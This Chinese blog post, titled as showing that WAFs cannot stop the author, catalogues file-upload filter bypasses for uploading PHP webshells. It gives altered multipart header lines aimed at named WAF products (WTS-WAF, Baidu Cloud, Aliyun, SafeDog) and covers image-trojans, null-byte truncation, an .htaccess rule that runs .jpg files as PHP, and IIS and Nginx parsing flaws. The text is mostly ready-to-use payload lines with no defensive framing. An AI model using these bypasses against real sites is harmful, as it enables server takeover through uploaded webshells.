文件上传绕waf(waf拦不住我)

一. 什么是文件上传漏洞
Web应用程序通常会有文件上传的功能, 例如在 BBS发布图片 , 在个人网站发布ZIP 压缩 包, 在办公平台发布DOC文件等 , 只要 Web应用程序允许上传文件, 就有可能存在文件上传漏 洞.

1:WTS-WAF 绕过上传
原内容:
Content-Disposition: form-data; name=“up_picture”; filename=“xss.php”
改为:
Content-Disposition: form-data; name=“up_picture”; filename="xss.ph
p”

原内容:
Content-Disposition: form-data; name=“up_picture”; filename=“xss.php”
添加回车
Content-Disposition: form-data; name=“up_picture”; filename=“xss.php”

2:百度云绕过
在对文件名大小写上面没有检测php是过了的,Php就能过,或者PHP,一句话自己合成图片马用Xise连接即可,大小写绕过Php等等
Content-Disposition: form-data; name=“up_picture”; filename=“xss.jpg .Php”

3:阿里云上传绕过见下:
源代码:
Content-Disposition: form-data; name=“img_crop_file”; filename="1.jpg .Php"Content-Type: image/jpeg
修改如下:
Content-Disposition: form-data; name=“img_crop_file”; filename=“1.php”
将=号这里回车删除掉Content-Type: image/jpeg绕过

4:安全狗上传绕过见下:

  1. 源代码:
    Content-Disposition: form-data; name=“image”; filename=“085733uykwusqcs8vw8wky.png"Content-Type: image/png
    绕过内容如下:
    Content-Disposition: form-data; name=“image”; filename=“085733uykwusqcs8vw8wky.png
    C.php”
    删除掉ontent-Type: image/jpeg只留下c,将.php加c后面即可,但是要注意额,双引号要跟着c.php”.
    2.通过删减空格来进行绕过
    Content-Disposition: form-data; name=“file”; filename=“yjh.php”
    Content-Type: application/octet-stream
    将Content-Disposition: form-data 冒号后面 增加或减少一个空格
    将form-data; name=“file”; 分号后面 增加或减少一个空格
    将 Content-Type: application/octet-stream 冒号后面 增加一个空格
    3.通过字符串拼接绕过
    看Content-Disposition: form-data; name=“file”; filename=“yjh3.php”
    将 form-data 修改为 f+orm-data
    将 from-data 修改为 form-d+ata
    4.HTTP header 属性值绕过
    Content-Disposition: form-data; name=“file”; filename=“yjh.php”
    我们通过替换form-data 为*来绕过
    Content-Disposition: *; name=“file”; filename=“yjh.php”

5:MIME类型绕过
上传木马时,提示格式错误。直接抓包修改Content-Type 为正确的格式尝试绕过

6:Windows特性绕过
多次上传同一个文件,windows会自动更新补全TEST (1).php。
有时会触发条件竞争,导致绕过。

7:文件内容检测绕过
针对文件内容检测的绕过,一般有两种方式,
1.制作图片马
2.文件换头绕过

8:黑名单后缀绕过
文件扩展名绕过
Php除了可以解析php后缀 还可以解析php2.php3,php4 后缀

9:白名单后缀绕过

  1. 00截断绕过上传
    php .jpg 空格二进制20改为00
    IIS 6.0 目录路径检测解析绕过
    上传路径改为
    XXX/1.asp

htaccess解析漏洞:
上传的jpg文件都会以php格式解析
.htaccess内容:
AddType application/x-httpd-php .jpg

10:IIS解析漏洞
IIS6.0在解析asp格式的时候有两个解析漏洞,一个是如果目录名包含".asp"字符串,
那么这个目录下所有的文件都会按照asp去解析,另一个是只要文件名中含有".asp;"
会优先按asp来解析
IIS7.0/7.5是对php解析时有一个类似于Nginx的解析漏洞,对任意文件名只要在URL
后面追加上字符串"/任意文件名.php"就会按照php的方式去解析;

11.Nginx解析漏洞
解析:(任意文件名)/(任意文件名).php | (任意文件名)%00.php
描述:目前Nginx主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php
的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。
还有一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击

12:前端限制绕过

  1. 使用BURP抓包修改后重放
    或者使用浏览器中元素审查,修改允许或禁止上传文件类型。

你可能感兴趣的:(渗透测试经验,信息技术)